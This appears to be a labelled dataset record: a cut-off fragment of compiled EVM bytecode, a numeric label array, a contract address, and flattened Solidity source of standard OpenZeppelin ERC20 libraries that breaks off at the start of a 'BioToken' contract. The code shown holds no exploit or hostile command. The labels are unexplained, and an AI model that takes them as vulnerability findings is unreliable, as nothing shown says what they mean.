0616c7265616479206265656e206c6f636b656400000081525060200191505060405180910390fd5b600061160960646115fb60048561194990919063ffffffff16565b6119cf90919063ffffffff16565b9050600061162082846118ff90919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd61166861186f565b30866040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156116da57600080fd5b505af11580156116ee573d6000803e3d6000fd5b505050506040513d602081101561170457600080fd5b81019080805190602001909291905050505061172b8260035461187790919063ffffffff16565b600381905550604051806080016040528061174461186f565b73ffffffffffffffffffffffffffffffffffffffff168152602001428152602001858152602001828152506006600061177b61186f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002015560608201518160030155905050428161182761186f565b73ffffffffffffffffffffffffffffffffffffffff167ff2f7176d4ecf159af02bda3afcd61e03b5358a35e26bd6e7fd8aa18455426b1360405160405180910390a450505050565b600033905090565b6000808284019050838110156118f5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061194183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a19565b905092915050565b60008083141561195c57600090506119c9565b600082840290508284828161196d57fe5b04146119c4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611bf56021913960400191505060405180910390fd5b809150505b92915050565b6000611a1183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ad9565b905092915050565b6000838311158290611ac6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a8b578082015181840152602081019050611a70565b50505050905090810190601f168015611ab85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611b85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b4a578082015181840152602081019050611b2f565b50505050905090810190601f168015611b775780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611b9157fe5b04905080915050939250505056fe596f752063616e206e6f742073656e6420746f6b656e206469726563746c7920746f2074686520636f6e74726163744f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77556e61626c6520746f2077697468647261772066756e6473207768696c6520746f6b656e73206973207374696c6c206c6f636b6564a2646970667358221220d34b9896ac23c667f9141ba71548757cb4fe366c973d796d36e0fd9a4c8824e764736f6c63430007030033 | [
16,
4,
7,
2
] |
0xf3502718e750f529df90ab552dd20915a93fbeb0 | // SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/BioToken.sol
pragma solidity 0.6.12;
// BioToken with Governance.
contract BioToken is ERC20("BioToken", "BIO"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (ScienTist).
